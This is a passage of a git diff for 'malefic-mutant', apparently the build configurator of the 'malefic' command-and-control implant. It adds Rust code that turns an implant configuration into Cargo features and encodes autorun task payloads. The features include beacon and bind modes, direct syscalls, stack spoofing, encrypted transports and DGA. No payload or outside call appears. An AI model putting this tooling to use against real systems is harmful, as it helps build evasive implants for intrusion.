mut remap_flags_array = Array::new(); - for flag in remap_flags { - remap_flags_array.push(Value::from(flag)); - } - - // Ensure target table exists - if !doc.contains_key(TARGET_KEY) { - doc[TARGET_KEY] = Item::Table(Table::new()); - } - - // Ensure cfg(all()) table exists - if !doc[TARGET_KEY] - .as_table_mut() - .unwrap() - .contains_key(CFG_ALL_KEY) - { - doc[TARGET_KEY][CFG_ALL_KEY] = Item::Table(Table::new()); - } - - // Set rustflags - doc[TARGET_KEY][CFG_ALL_KEY][RUSTFLAGS_KEY] = Item::Value(Value::Array(remap_flags_array)); - - // Write to file - fs::write(config_path, doc.to_string())?; - log_success!("\"{}\" has been updated successfully", CONFIG_PATH); - - Ok(()) -} - -/// Check if rustflags configuration already exists in config file -fn check_config_file_early() -> io::Result { - let config_path = Path::new(CONFIG_PATH); - - if !config_path.exists() { - return Ok(false); - } - - let existing_content = fs::read_to_string(config_path)?; - let doc = existing_content.parse::().map_err(|e| { - io::Error::new( - io::ErrorKind::InvalidData, - format!("Failed to parse TOML: {}", e), - ) - })?; - - Ok(check_existing_rustflags_config(&doc)) -} - -/// Main function to update the Cargo config.toml with path remapping flags -pub fn update_config_toml(force_refresh: bool) { - // Early check: if rustflags already exist and not forcing refresh, skip all file traversal - if !force_refresh { - match check_config_file_early() { - Ok(true) => { - log_success!(" rustflag 'cfg(all())' already exists."); - return; - } - Ok(false) => { - // Continue with normal processing - } - Err(e) => { - log_error!("Failed to check existing config: {:?}", e); - return; - } - } - } else { - log_success!("Force refresh remap-path-prefix, proceeding with config update"); - } - - // Collect remap flags and update config - match collect_all_remap_flags() { - Ok(remap_flags) => { - if remap_flags.is_empty() { - log_success!("No remap flags to add"); - return; - } - - if let Err(e) = write_config_file(remap_flags) { - log_error!("Failed to update config.toml: {:?}", e); - } - } - Err(e) => { - log_error!("Failed to collect remap flags: {:?}", e); - } - } -} diff --git a/malefic-mutant/src/generate/config_winkit.rs b/malefic-mutant/src/generate/config_winkit.rs deleted file mode 100644 index 518530e..0000000 --- a/malefic-mutant/src/generate/config_winkit.rs +++ /dev/null @@ -1,176 +0,0 @@ -use std::fs; - -use crate::config::{ImplantConfig, Version}; -use crate::{log_success, CONFIG_INNER_TEMPLATE, CONFIG_PROFESSIONAL_TEMPLATE, DEFAULT, FEATURES}; -use toml_edit::{Array, DocumentMut, Item}; - -lazy_static! { - static ref ALLOCTOR: String = "Alloctor".to_string(); - static ref ALLOCTOR_EX: String = "AlloctorEx".to_string(); - static ref NORMAL: String = "NORMAL".to_string(); - static ref DYNAMIC: String = "DYNAMIC".to_string(); - static ref SYSCALLS: String = "SYSCALLS".to_string(); - static ref CONFIG_WINKIT_TOML_PATH: String = "malefic-win-kit/Cargo.toml".to_string(); - static ref CONFIG_FFI: String = "ffi".to_string(); - static ref CONFIG_FFI_APIS: String = "ffi_apis".to_string(); - static ref STACK_SPOOFER: String = "StackSpoofer".to_string(); -} - -pub fn update_winkit_toml(implant_config: &ImplantConfig, version: &Version, source: bool) { - let cargo_toml_content = fs::read_to_string(CONFIG_WINKIT_TOML_PATH.clone()) - .expect("Failed to read winkit Cargo.toml file"); - - let mut cargo_toml: DocumentMut = cargo_toml_content - .parse() - .expect("Failed to parse winkit Cargo.toml file"); - - let mut default_array: toml_edit::Array = Array::default(); - if let Some(features) = cargo_toml[&FEATURES].as_table_mut() { - if source { - default_array.retain(|x| x.as_str().unwrap() != &CONFIG_FFI.clone()); - default_array.retain(|x| x.as_str().unwrap() != &CONFIG_FFI_APIS.clone()); - } else { - if default_array - .iter() - .find(|x| x.as_str().unwrap() == &CONFIG_FFI.clone()) - .is_none() - { - default_array.push(CONFIG_FFI.clone()); - } - if default_array - .iter() - .find(|x| x.as_str().unwrap() == &CONFIG_FFI_APIS.clone()) - .is_none() - { - default_array.push(CONFIG_FFI_APIS.clone()); - } - } - match version { - Version::Community => { - if default_array - .iter() - .find(|x| x.as_str().unwrap() == Version::Community.to_string()) - .is_none() - { - default_array.push(Version::Community.to_string()); - } - } - Version::Professional => { - if default_array - .iter() - .find(|x| x.as_str().unwrap() == &Version::Professional.to_string()) - .is_none() - { - default_array.push(Version::Professional.to_string()); - } - let template = features[&CONFIG_PROFESSIONAL_TEMPLATE] - .as_array_mut() - .unwrap(); - let mut real_config = template.clone(); - let real_config_len = real_config.len(); - for i in 0..6 { - real_config.remove(real_config_len - 1 - i); - } - real_config.push(ALLOCTOR.to_owned() + &implant_config.alloctor.inprocess.clone()); - real_config - .push(ALLOCTOR_EX.to_owned() + &implant_config.alloctor.crossprocess.clone()); - real_config.push(implant_config.apis.level.to_uppercase()); - if implant_config.apis.priority.normal.enable { - real_config.push(NORMAL.to_owned()); - real_config.push( - implant_config - .apis - .priority - .normal - .r#type - .to_uppercase() - .clone(), - ); - } else if implant_config.apis.priority.dynamic.enable { - real_config.push(DYNAMIC.to_owned()); - real_config.push( - implant_config - .apis - .priority - .dynamic - .r#type - .to_uppercase() - .clone(), - ); - } else if implant_config.apis.priority.syscalls.enable { - real_config.push(SYSCALLS.to_owned()); - real_config.push( - implant_config - .apis - .priority - .syscalls - .r#type - .to_uppercase() - .clone(), - ); - } - if implant_config.thread_stack_spoofer { - real_config.push(STACK_SPOOFER.to_owned()); - } - features[&Version::Professional.to_string()] = Item::Value(real_config.into()); - } - Version::Inner => { - default_array.push(Version::Inner.to_string()); - let template = features[&CONFIG_INNER_TEMPLATE].as_array_mut().unwrap(); - let mut real_config = template.clone(); - let real_config_len = real_config.len(); - for i in 0..6 { - real_config.remove(real_config_len - 1 - i); - } - real_config.push(ALLOCTOR.to_owned() + &implant_config.alloctor.inprocess.clone()); - real_config - .push(ALLOCTOR_EX.to_owned() + &implant_config.alloctor.crossprocess.clone()); - real_config.push(implant_config.apis.level.to_uppercase()); - if implant_config.apis.priority.normal.enable { - real_config.push(NORMAL.to_owned()); - real_config.push( - implant_config - .apis - .priority - .normal - .r#type - .to_uppercase() - .clone(), - ); - } else if implant_config.apis.priority.dynamic.enable { - real_config.push(DYNAMIC.to_owned()); - real_config.push( - implant_config - .apis - .priority - .dynamic - .r#type - .to_uppercase() - .clone(), - ); - } else if implant_config.apis.priority.syscalls.enable { - real_config.push(SYSCALLS.to_owned()); - real_config.push( - implant_config - .apis - .priority - .syscalls - .r#type - .to_uppercase() - .clone(), - ); - } - features[&Version::Inner.to_string()] = Item::Value(real_config.into()); - } - } - features[&DEFAULT] = Item::Value(default_array.into()); - } - - fs::write(CONFIG_WINKIT_TOML_PATH.clone(), cargo_toml.to_string()) - .expect("Failed to write updated Cargo.toml file"); - - log_success!( - "Cargo.toml file {} has been updated", - CONFIG_WINKIT_TOML_PATH.clone() - ); -} diff --git a/malefic-mutant/src/generate/config_workspace.rs b/malefic-mutant/src/generate/config_workspace.rs deleted file mode 100644 index 70edad2..0000000 --- a/malefic-mutant/src/generate/config_workspace.rs +++ /dev/null @@ -1,93 +0,0 @@ -use crate::{log_error, log_info, log_step, log_success, log_warning}; -use std::fs; -use toml_edit; -use walkdir::WalkDir; - -static MALEFIC_WIN_KIT: &str = "malefic-win-kit"; - -#[allow(dead_code)] -pub fn detect_source_mode() -> bool { - log_step!("Auto-detecting build mode..."); - - // malefic-mutant 在项目根目录è¿è¡Œï¼Œæ‰€ä»¥æ£€æŸ¥å½“å‰ç›®å½•下的 malefic-win-kit - let malefic_win_kit_path = std::path::Path::new(MALEFIC_WIN_KIT); - log_info!("Checking path: {}", MALEFIC_WIN_KIT); - - // 检查目录是å¦å­˜åœ¨ - if !malefic_win_kit_path.exists() { - log_info!("malefic-win-kit directory not found, using prebuild mode"); - return false; - } - - // 检查目录是å¦ä¸ºç›®å½•类型 - if !malefic_win_kit_path.is_dir() { - log_info!("malefic-win-kit is not a directory, using prebuild mode"); - return false; - } - - let file_count = WalkDir::new(malefic_win_kit_path) - .into_iter() - .filter_map(|entry| entry.ok()) - .filter(|entry| entry.file_type().is_file()) - .count(); - - let source_mode = file_count > 2; - log_info!( - "malefic-win-kit directory contains {} files, using {} mode", - file_count, - if source_mode { "source" } else { "prebuild" } - ); - - source_mode -} -#[allow(dead_code)] -pub fn update_workspace_members(source_mode: bool) -> anyhow::Result<()> { - log_step!("Updating workspace members..."); - - let workspace_cargo_path = "Cargo.toml"; - let cargo_toml_content = fs::read_to_string(workspace_cargo_path).map_err(|e| { - log_error!("Failed to read workspace Cargo.toml: {}", e); - e - })?; - - let mut cargo_toml: toml_edit::DocumentMut = cargo_toml_content.parse().map_err(|e| { - log_error!("Failed to parse workspace Cargo.toml: {}", e); - e - })?; - - if let Some(workspace) = cargo_toml["workspace"].as_table_mut() { - if let Some(members) = workspace["members"].as_array_mut() { - let malefic_win_kit_exists = members - .iter() - .any(|member| member.as_str() == Some(MALEFIC_WIN_KIT)); - - if source_mode && !malefic_win_kit_exists { - let mut new_item = toml_edit::Value::from(MALEFIC_WIN_KIT); - new_item.decor_mut().set_suffix(",\n"); - members.push(new_item); - - log_info!("Added '{}' to workspace members", MALEFIC_WIN_KIT); - } else if !source_mode && malefic_win_kit_exists { - members.retain(|member| member.as_str() != Some(MALEFIC_WIN_KIT)); - log_info!("Removed '{}' from workspace members", MALEFIC_WIN_KIT); - } else { - log_info!( - "Workspace members already in correct state for {} mode", - if source_mode { "source" } else { "prebuild" } - ); - } - } else { - log_warning!("No 'members' array found in workspace"); - } - } else { - log_warning!("No 'workspace' section found in Cargo.toml"); - } - - fs::write(workspace_cargo_path, cargo_toml.to_string()).map_err(|e| { - log_error!("Failed to write workspace Cargo.toml: {}", e); - e - })?; - - log_success!("Workspace Cargo.toml has been updated"); - Ok(()) -} diff --git a/malefic-mutant/src/generate/features.rs b/malefic-mutant/src/generate/features.rs new file mode 100644 index 0000000..f84b523 --- /dev/null +++ b/malefic-mutant/src/generate/features.rs @@ -0,0 +1,481 @@ +use anyhow::Context; +use serde_json::Value; +use std::collections::{HashMap, HashSet}; +use std::fs; +use std::path::Path; +use toml_edit::DocumentMut; + +use super::cargo_features; +use crate::{log_debug, log_info, log_warning, CONFIG_SCHEMA}; + +// ── Feature Scanner ──────────────────────────────────────────────── + +#[derive(Debug, Clone)] +struct CrateFeatures { + name: String, + features: HashMap>, +} + +#[derive(Debug, Clone)] +struct FeatureRegistry { + crates: HashMap, +} + +impl FeatureRegistry { + fn scan_workspace(workspace_root: &Path) -> anyhow::Result { + let root_content = fs::read_to_string(workspace_root.join("Cargo.toml")) + .context("Failed to read workspace Cargo.toml")?; + let root_doc: DocumentMut = root_content + .parse() + .context("Failed to parse workspace Cargo.toml")?; + + let members = root_doc + .get("workspace") + .and_then(|w| w.get("members")) + .and_then(|m| m.as_array()) + .context("No workspace.members found")?; + + let mut crates = HashMap::new(); + for member in members.iter() { + let member_path = member + .as_str() + .context("workspace member is not a string")?; + let crate_toml_path = workspace_root.join(member_path).join("Cargo.toml"); + if !crate_toml_path.exists() { + continue; + } + match Self::parse_crate_features(&crate_toml_path) { + Ok(cf) => { + crates.insert(cf.name.clone(), cf); + } + Err(e) => { + log_warning!("Failed to parse features for {}: {}", member_path, e); + } + } + } + log_info!("Scanned {} workspace crates", crates.len()); + Ok(FeatureRegistry { crates }) + } + + fn parse_crate_features(toml_path: &Path) -> anyhow::Result { + let content = fs::read_to_string(toml_path) + .with_context(|| format!("Failed to read {}", toml_path.display()))?; + let doc: DocumentMut = content + .parse() + .with_context(|| format!("Failed to parse {}", toml_path.display()))?; + + let name = doc + .get("package") + .and_then(|p| p.get("name")) + .and_then(|n| n.as_str()) + .unwrap_or("") + .to_string(); + + let mut features = HashMap::new(); + if let Some(feat_table) = doc.get("features").and_then(|f| f.as_table()) { + for (feat_name, feat_value) in feat_table.iter() { + let deps: Vec = feat_value + .as_array() + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(|s| s.to_string())) + .collect() + }) + .unwrap_or_default(); + features.insert(feat_name.to_string(), deps); + } + } + Ok(CrateFeatures { name, features }) + } + + fn validate_features(&self, crate_name: &str, features: &[String]) -> Vec { + features + .iter() + .filter(|f| { + !self + .crates + .get(crate_name) + .map(|c| c.features.contains_key(f.as_str())) + .unwrap_or(false) + }) + .cloned() + .collect() + } +} + +// ── Feature Resolver ─────────────────────────────────────────────── + +struct FeatureResolver { + schema: Value, +} + +impl FeatureResolver { + fn from_str(schema_str: &str) -> anyhow::Result { + let schema: Value = + serde_json::from_str(schema_str).context("Failed to parse schema JSON")?; + Ok(FeatureResolver { schema }) + } + + fn resolve(&self, config: &Value) -> anyhow::Result> { + let mut features = HashSet::new(); + if let Some(properties) = self.schema.get("properties") { + self.walk_properties(properties, config, "", &mut features)?; + } + let mut result: Vec = features.into_iter().collect(); + result.sort(); + log_info!("Resolved {} features: {}", result.len(), result.join(", ")); + Ok(result) + } + + fn resolve_crypto(&self, config: &Value) -> String { + match config + .pointer("/basic/encryption") + .and_then(|v| v.as_str()) + .unwrap_or("") + { + "aes" => "crypto_aes".to_string(), + "chacha20" => "crypto_chacha20".to_string(), + _ => "crypto_xor".to_string(), + } + } + + fn walk_properties( + &self, + schema_props: &Value, + config: &Value, + path: &str, + features: &mut HashSet, + ) -> anyhow::Result<()> { + let props = match schema_props.as_object() { + Some(p) => p, + None => return Ok(()), + }; + + for (key, prop_schema) in props { + let config_value = config.get(key); + let current_path = if path.is_empty() { + key.clone() + } else { + format!("{}.{}", path, key) + }; + + if let Some(annotation) = prop_schema.get("x-cargo-features") { + self.apply_annotation(annotation, config_value, ¤t_path, features)?; + } + + if prop_schema.get("type").and_then(|t| t.as_str()) == Some("array") { + if let Some(items_schema) = prop_schema.get("items") { + if let Some(group) = items_schema.get("x-cargo-features-group") { + self.apply_group_annotation(group, config_value, ¤t_path, features)?; + } + if let Some(item_props) = items_schema.get("properties") { + if let Some(arr) = config_value.and_then(|v| v.as_array()) { + for item in arr { + self.walk_properties( + item_props, + item, + &format!("{}[]", current_path), + features, + )?; + } + } + } + } + } + + if prop_schema.get("type").and_then(|t| t.as_str()) == Some("object") { + if let Some(nested_props) = prop_schema.get("properties") { + let nested_config = config_value.unwrap_or(&Value::Null); + self.walk_properties(nested_props, nested_config, ¤t_path, features)?; + } + } + } + Ok(()) + } + + fn apply_annotation( + &self, + annotation: &Value, + config_value: Option<&Value>, + path: &str, + features: &mut HashSet, + ) -> anyhow::Result<()> { + let anno_type = annotation + .get("type") + .and_then(|t| t.as_str()) + .unwrap_or(""); + match anno_type { + "bool_flag" => { + if config_value.and_then(|v| v.as_bool()).unwrap_or(false) { + if let Some(feat_list) = annotation.get("features").and_then(|f| f.as_array()) { + for f in feat_list { + if let Some(s) = f.as_str() { + log_debug!(" [bool_flag] {} = true -> feature '{}'", path, s); + features.insert(s.to_string()); + } + } + } + } + } + "enum_map" => { + let value_str = config_value.and_then(|v| v.as_str()).unwrap_or(""); + if let Some(mapping) = annotation.get("mapping").and_then(|m| m.as_object()) { + let matched = mapping.get(value_str).or_else(|| mapping.get("*")); + if let Some(feat_list) = matched.and_then(|v| v.as_array()) { + for f in feat_list { + if let Some(s) = f.as_str() { + log_debug!( + " [enum_map] {} = {:?} -> feature '{}'", + path, + value_str, + s + ); + features.insert(s.to_string()); + } + } + } + } + } + "non_empty" => { + let is_non_empty = config_value + .and_then(|v| v.as_str()) + .map(|s| !s.is_empty()) + .unwrap_or(false); + if is_non_empty { + if let Some(feat_list) = annotation.get("features").and_then(|f| f.as_array()) { + for f in feat_list { + if let Some(s) = f.as_str() { + log_debug!(" [non_empty] {} -> feature '{}'", path, s); + features.insert(s.to_string()); + } + } + } + } + } + _ => {} + } + Ok(()) + } + + fn apply_group_annotation( + &self, + group: &Value, + config_value: Option<&Value>, + path: &str, + features: &mut HashSet, + ) -> anyhow::Result<()> { + let items = match config_value.and_then(|v| v.as_array()) { + Some(arr) => arr, + None => return Ok(()), + }; + + let presence_fields = group.get("presence_fields").and_then(|p| p.as_object()); + let default_features = group.get("default_when_absent").and_then(|d| d.as_array()); + + for (idx, item) in items.iter().enumerate() { + let item_obj = match item.as_object() { + Some(o) => o, + None => continue, + }; + + let mut any_presence_hit = false; + if let Some(pf) = presence_fields { + for (field_name, feat_list) in pf { + let is_present = item_obj + .get(field_name) + .map(|v| !v.is_null()) + .unwrap_or(false); + if is_present { + any_presence_hit = true; + if let Some(arr) = feat_list.as_array() { + for f in arr { + if let Some(s) = f.as_str() { + log_debug!( + " [presence] {}[{}].{} present -> feature '{}'", + path, + idx, + field_name, + s + ); + features.insert(s.to_string()); + } + } + } + } + } + } + + if !any_presence_hit { + if let Some(defaults) = default_features { + for f in defaults { + if let Some(s) = f.as_str() { + log_debug!( + " [default_when_absent] {}[{}] -> feature '{}'", + path, + idx, + s + ); + features.insert(s.to_string()); + } + } + } + } + } + Ok(()) + } +} // impl FeatureResolver + +// ── Public API ───────────────────────────────────────────────────── + +static ENTRY_TOML_PATH: &str = "malefic/Cargo.toml"; +static PROTO_TOML_PATH: &str = "malefic-crates/proto/Cargo.toml"; + +pub(super) fn update_features( + implant: &crate::config::Implant, + version: &crate::config::Version, + source: bool, +) -> anyhow::Result<()> { + log_info!("Resolving features from configuration via schema..."); + + let resolver = FeatureResolver::from_str(CONFIG_SCHEMA)?; + let config_value = serde_json::to_value(implant)?; + let mut features = resolver.resolve(&config_value)?; + + // build-type and version features are now managed by malefic-features crate + // (set via update_features_toml in common_config), not injected into malefic/Cargo.toml + + // Special case: prelude/pack detection + let has_prelude = { + let has_pack = implant + .implants + .pack + .as_ref() + .map_or(false, |p| !p.is_empty()); + has_pack || !implant.implants.prelude.is_empty() + }; + if has_prelude && !features.contains(&"malefic-autorun".to_string()) { + log_debug!(" [special] prelude/pack detected -> feature 'malefic-autorun'"); + features.push("malefic-autorun".to_string()); + } + + // Optional: scan workspace and validate + if let Ok(registry) = FeatureRegistry::scan_workspace(Path::new(".")) { + let invalid = registry.validate_features("malefic", &features); + for f in &invalid { + log_warning!( + "Feature '{}' not found in crate 'malefic' [features] table", + f + ); + } + } + + log_debug!("Final feature list: {:?}", features); + + // Write entry crate default features + cargo_features::set_default_features(ENTRY_TOML_PATH, &features)?; + + // Proto crypto special case + let crypto_feature = resolver.resolve_crypto(&config_value); + cargo_features::set_default_features(PROTO_TOML_PATH, &[crypto_feature.clone()])?; + + // Handle 3rd-party module toml if enabled + if implant.implants.enable_3rd { + cargo_features::update_3rd_toml(&implant.implants.third_modules); + } + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + fn test_schema() -> &'static str { + include_str!("../../config_lint.json") + } + + #[test] + fn test_basic_bool_flag() { + let resolver = FeatureResolver::from_str(test_schema()).unwrap(); + let config = json!({ + "basic": { + "encryption": "aes", + "key": "test", + "cron": "*/5 * * * * * *", + "jitter": 0.1, + "retry": 3, + "targets": [{"address": "127.0.0.1:5555"}], + "secure": {"enable": true}, + "proxy": {"url": "", "use_env_proxy": false}, + "dga": {"enable": false}, + "guardrail": {"enable": false} + }, + "implants": { + "runtime": "tokio", + "mod": "beacon", + "register_info": true, + "hot_load": true, + "addon": true, + "modules": [], + "enable_3rd": false + } + }); + + let features = resolver.resolve(&config).unwrap(); + // runtime_tokio is no longer in malefic entry features — it's in malefic-features now + assert!(features.contains(&"beacon".to_string())); + assert!(features.contains(&"register_info".to_string())); + assert!(features.contains(&"hot_load".to_string())); + assert!(features.contains(&"addon".to_string())); + assert!(features.contains(&"crypto_aes".to_string())); + assert!(features.contains(&"secure".to_string())); + assert!(features.contains(&"transport_tcp".to_string())); + } + + #[test] + fn test_transport_detection() { + let resolver = FeatureResolver::from_str(test_schema()).unwrap(); + let config = json!({ + "basic": { + "encryption": "xor", + "key": "test", + "cron": "*/5 * * * * * *", + "jitter": 0.1, + "retry": 3, + "targets": [ + {"address": "127.0.0.1:5555", "http": {"method": "GET", "path": "/", "version": "1.1", "headers": {}}}, + {"address": "127.0.0.1:6666"} + ], + "proxy": {"url": "", "use_env_proxy": false}, + "dga": {"enable": false}, + "guardrail": {"enable": false} + }, + "implants": { + "runtime": "tokio", + "mod": "beacon", + "register_info": false, + "hot_load": false, + "modules": [] + } + }); + + let features = resolver.resolve(&config).unwrap(); + assert!(features.contains(&"transport_http".to_string())); + assert!(features.contains(&"transport_tcp".to_string())); + } + + #[test] + fn test_crypto_resolver() { + let resolver = FeatureResolver::from_str(test_schema()).unwrap(); + + let config = json!({"basic": {"encryption": "chacha20"}}); + assert_eq!(resolver.resolve_crypto(&config), "crypto_chacha20"); + + let config = json!({"basic": {"encryption": "aes"}}); + assert_eq!(resolver.resolve_crypto(&config), "crypto_aes"); + + let config = json!({"basic": {"encryption": "unknown"}}); + assert_eq!(resolver.resolve_crypto(&config), "crypto_xor"); + } +} diff --git a/malefic-mutant/src/generate/mod.rs b/malefic-mutant/src/generate/mod.rs index fe15c2f..8b5f1de 100644 --- a/malefic-mutant/src/generate/mod.rs +++ b/malefic-mutant/src/generate/mod.rs @@ -1,49 +1,42 @@ #[allow(unused_imports)] -use crate::{log_step, log_success}; -use config_core::{update_core_config, update_core_toml}; -use config_helper::update_helper_toml; -use config_malefic::update_beacon_toml; -use config_metadata::update_resources; -use config_prelude::parse_yaml; -use config_proto::update_proto_toml; - -mod config_3rd; -mod config_core; -mod config_helper; -mod config_malefic; -mod config_metadata; -mod config_modules; -mod config_prelude; -mod config_proto; -mod config_pulse; -mod config_toml; -mod config_winkit; -mod config_workspace; +use crate::{log_debug, log_info, log_step, log_success, log_warning}; +use codegen::update_core_config; +use prelude::parse_yaml; +use resources::update_resources; + +pub mod cargo_features; +mod codegen; +mod features; +mod prelude; +mod resources; +mod spites; use crate::config::{Implant, Version}; -use crate::generate::config_prelude::update_prelude_spites; -pub use config_3rd::*; -pub use config_malefic::update_malefic_spites; -pub use config_modules::*; -pub use config_toml::*; +use crate::generate::prelude::update_prelude_spites; +pub use cargo_features::{update_3rd_toml, update_module_toml}; -pub fn update_pulse_config(source: bool) -> anyhow::Result<()> { +fn common_config(implant: &mut Implant, version: &Version, source: bool) { + log_step!("Updating version, build-type, and runtime..."); + cargo_features::update_features_toml(version, source, &implant.implants.runtime); + if source { + cargo_features::update_winkit_toml(&implant.implants, version); + } +} + +pub fn pulse(source: bool) -> anyhow::Result<()> { log_step!("Updating pulse configuration..."); - config_pulse::update_pulse_toml(source); + cargo_features::update_pulse_toml(source); log_success!("Pulse configuration has been updated successfully"); Ok(()) } -pub fn update_common_config(_implant: &mut Implant, version: &Version, source: bool) { - log_step!("Updating version and build-type..."); - update_helper_toml(version, source); - if source { - use config_winkit::update_winkit_toml; - update_winkit_toml(&_implant.implants, version, source); - } -} - -fn update_config(r#mod: &str, implant: &mut Implant) -> anyhow::Result<()> { +fn update_config( + r#mod: &str, + implant: &mut Implant, + version: &Version, + source: bool, + metadata_wordlist: Option<&str>, +) -> anyhow::Result<()> { implant.implants.r#mod = r#mod.to_string(); let build_config = implant @@ -51,62 +44,86 @@ fn update_config(r#mod: &str, implant: &mut Implant) -> anyhow::Result<()> { .as_ref() .ok_or_else(|| anyhow::anyhow!("build configuration is required but not found"))?; - update_core_config(&implant.basic, &implant.implants, Some(build_config)); + // Generate malefic-crates/config/src/lib.rs (Rust source code) + update_core_config(&implant.basic, &implant.implants, Some(build_config))?; + // Update resource metadata (RC/manifest) let metadata = build_config .metadata .as_ref() .ok_or_else(|| anyhow::anyhow!("metadata configuration is required but not found"))?; - update_resources(metadata); + update_resources(metadata, metadata_wordlist); + + // Schema-driven feature resolution -> write to entry & proto Cargo.toml + features::update_features(implant, version, source)?; + + // Update module feature list (dynamic module selection) + update_module_toml(&implant.implants.modules, source); - update_proto_toml(&implant.basic); - update_core_toml(&implant.basic, &implant.implants); - update_beacon_toml(&implant.basic, &implant.implants); - update_module_toml(&implant.implants.modules); Ok(()) } -pub fn update_beacon_config(implant: &mut Implant) -> anyhow::Result<()> { +pub fn beacon( + implant: &mut Implant, + version: &Version, + source: bool, + metadata_wordlist: Option<&str>, +) -> anyhow::Result<()> { log_step!("Updating beacon configuration..."); - update_malefic_spites(&implant.implants, &implant.basic.key)?; - update_config("beacon", implant)?; + common_config(implant, version, source); + spites::update_malefic_spites(&implant.implants, &implant.basic.key, source)?; + update_config("beacon", implant, version, source, metadata_wordlist)?; log_success!("Beacon configuration has been updated successfully"); Ok(()) } -pub fn update_bind_config(implant: &mut Implant) -> anyhow::Result<()> { +pub fn bind( + implant: &mut Implant, + version: &Version, + source: bool, + metadata_wordlist: Option<&str>, +) -> anyhow::Result<()> { log_step!("Updating bind configuration..."); - update_config("bind", implant)?; + common_config(implant, version, source); + update_config("bind", implant, version, source, metadata_wordlist)?; log_success!("Bind configuration has been updated successfully"); Ok(()) } -pub fn update_prelude_config( +pub fn prelude( implant: &mut Implant, + version: &Version, + source: bool, prelude_yaml_path: &str, resources: &str, key: &str, spite: &str, + metadata_wordlist: Option<&str>, ) -> anyhow::Result<()> { log_step!("Updating prelude configuration..."); + common_config(implant, version, source); let autorun_yaml = std::fs::read_to_string(prelude_yaml_path)?; - let spites = parse_yaml(&autorun_yaml); - update_prelude_spites(spites, resources, key, spite)?; + let parsed = parse_yaml(&autorun_yaml); + if !parsed.regular_modules.is_empty() { + cargo_features::update_module_toml(&parsed.regular_modules, source); + } + if !parsed.third_modules.is_empty() { + cargo_features::update_3rd_toml(&parsed.third_modules); + } + update_prelude_spites(parsed, resources, key, spite)?; - let binding = implant.build.clone().unwrap(); - let metadata = binding + let build_config = implant + .build + .as_ref() + .ok_or_else(|| anyhow::anyhow!("build configuration is required"))?; + let metadata = build_config .metadata .as_ref() .ok_or_else(|| anyhow::anyhow!("metadata configuration is required but not found"))?; - update_resources(metadata); - update_proto_toml(&implant.basic); - update_core_toml(&implant.basic, &implant.implants); - Ok(()) -} + update_resources(metadata, metadata_wordlist); + + // Schema-driven feature resolution for prelude too + features::update_features(implant, version, source)?; -#[allow(dead_code)] -pub fn update_cargo_config_toml(implant: &mut Implant) -> anyhow::Result<()> { - let force_refresh = implant.build.as_ref().unwrap().refresh_remap_path_prefix; - update_config_toml(force_refresh); Ok(()) } diff --git a/malefic-mutant/src/generate/prelude.rs b/malefic-mutant/src/generate/prelude.rs new file mode 100644 index 0000000..0ff811b --- /dev/null +++ b/malefic-mutant/src/generate/prelude.rs @@ -0,0 +1,279 @@ +use crate::{log_info, log_success, RESOURCES_DIR}; + +use anyhow::Result; +use base64::{prelude::BASE64_STANDARD, Engine}; +use malefic_crypto::compress::compress; +use malefic_crypto::crypto::new_cryptor; +use malefic_proto::encode; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{Spite, Spites}; +use serde_yaml::value::Tag; +use serde_yaml::{from_str, Number, Value}; +use std::fs; +use std::io::Write; +use std::path::Path; + +/// Convert bytes to YAML sequence of numbers +fn bytes_to_yaml_sequence(bytes: Vec) -> Value { + Value::Sequence( + bytes + .into_iter() + .map(|byte| Value::Number(Number::from(byte as i64))) + .collect(), + ) +} + +/// Process custom YAML tags (!File, !Base64, !Hex) recursively +fn process_tags(value: &mut Value, path: &str) { + match value { + Value::Mapping(map) => { + for (k, v) in map.iter_mut() { + let key = k.as_str().unwrap_or("unknown"); + process_tags(v, &format!("{} > {}", path, key)); + } + } + Value::Sequence(seq) => { + for (i, v) in seq.iter_mut().enumerate() { + process_tags(v, &format!("{}[{}]", path, i)); + } + } + Value::Tagged(tagged) => match &tagged.tag { + tag if *tag == Tag::new("!File") => { + if let Value::String(file_path) = &tagged.value { + let resource_filepath = Path::new(RESOURCES_DIR).join(file_path); + let file_content = fs::read(&resource_filepath).unwrap_or_else(|err| { + panic!( + "Failed to read file '{:?}': {} at {}", + resource_filepath, err, path + ); + }); + *value = bytes_to_yaml_sequence(file_content); + } + } + tag if *tag == Tag::new("!Base64") => { + if let Value::String(encoded_str) = &tagged.value { + let decoded_bytes = BASE64_STANDARD.decode(encoded_str).unwrap_or_else(|err| { + panic!( + "Failed to decode base64 string '{}': {} at {}", + encoded_str, err, path + ); + }); + *value = bytes_to_yaml_sequence(decoded_bytes); + } + } + tag if *tag == Tag::new("!Hex") => { + if let Value::String(hex_str) = &tagged.value { + let decoded_bytes = hex::decode(hex_str).unwrap_or_else(|err| { + panic!( + "Failed to decode hex string '{}': {} at {}", + hex_str, err, path + ); + }); + *value = bytes_to_yaml_sequence(decoded_bytes); + } + } + _ => { + process_tags(&mut tagged.value, path); + } + }, + _ => {} + } +} + +/// Parse YAML with custom tag processing +fn parse_yaml_with_tag(yaml_str: &str) -> T +where + T: serde::de::DeserializeOwned, +{ + let mut yaml_value: Value = from_str(yaml_str).expect("Failed to parse YAML"); + process_tags(&mut yaml_value, "root"); + serde_yaml::from_value(yaml_value).expect("Failed to deserialize into target type") +} + +/// Wrapper for Spite with additional metadata +#[derive(serde::Deserialize, Debug)] +struct SpiteWrapper { + #[serde(default)] + name: String, + #[serde(default)] + task_id: u32, + #[serde(default)] + r#async: bool, + #[serde(default)] + timeout: u64, + #[serde(default)] + error: u32, + #[serde(default)] + status: Option, + /// Flag to indicate if this is a 3rd party module + #[serde(default)] + third: bool, + /// Explicit feature dependency (overrides name for Cargo.toml features) + /// Can be a single string or array of strings + #[serde(default)] + depend_on: Option, + body: Option, +} + +/// Support both single string and array of strings for depend_on +#[derive(serde::Deserialize, Debug, Clone)] +#[serde(untagged)] +enum DependOn { + Single(String), + Multiple(Vec), +} + +impl DependOn { + fn into_vec(self) -> Vec { + match self { + DependOn::Single(s) => vec![s], + DependOn::Multiple(v) => v, + } + } +} + +/// Parsed spites with module classification +pub struct ParsedSpites { + pub spites: Vec, + pub regular_modules: Vec, + pub third_modules: Vec, +} + +/// Parse YAML configuration and classify modules +pub fn parse_yaml(yaml_str: &str) -> ParsedSpites { + let spites_wrappers: Vec = 